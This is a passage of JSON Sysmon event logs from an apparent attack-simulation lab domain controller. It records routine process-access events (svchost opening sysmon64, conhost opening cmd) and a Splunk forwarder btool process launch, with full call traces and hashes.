C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.203","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1929,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.203\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.203","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1930,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.203\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.203","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1931,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.203\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.203","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1932,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.203\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.203","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1933,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.203\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.203","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1934,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.203\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.203","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1935,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.203\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-00105DC70200}\r\nSourceProcessId: 3756\r\nSourceThreadId: 3776\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-3FE8-5F2D-0000-0010B03D0300}\r\nTargetProcessId: 3320\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.203","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-00105DC70200}","SourceProcessId":"3756","SourceThreadId":"3776","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-3FE8-5F2D-0000-0010B03D0300}","TargetProcessId":"3320","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":1936,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.217\r\nProcessGuid: {90617006-3FE8-5F2D-0000-00106C3E0300}\r\nProcessId: 4024\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nFileVersion: 8.0.2\r\nDescription: btool\r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: btool.exe\r\nCommandLine: btool server list general --no-log\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=BC53EBF68CFA6E8A254D89ABEC89A65D,SHA256=97024B4A7182D9C253B1AC4E56A1C8F3BC8808B79E6D022EF27B95003622F0A4,IMPHASH=572E0CF4672412FA940B0E1835926B3B\r\nParentProcessGuid: {90617006-3FE8-5F2D-0000-0010B03D0300}\r\nParentProcessId: 3320\r\nParentImage: C:\\Windows\\System32\\cmd.exe\r\nParentCommandLine: C:\\Windows\\system32\\cmd.exe /c btool server list general --no-log","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.217","ProcessGuid":"{90617006-3FE8-5F2D-0000-00106C3E0300}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","FileVersion":"8.0.2","Description":"btool","Product":"splunk Application","Company":"Splunk Inc.","OriginalFileName":"btool.exe","CommandLine":"btool server list general --no-log","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT 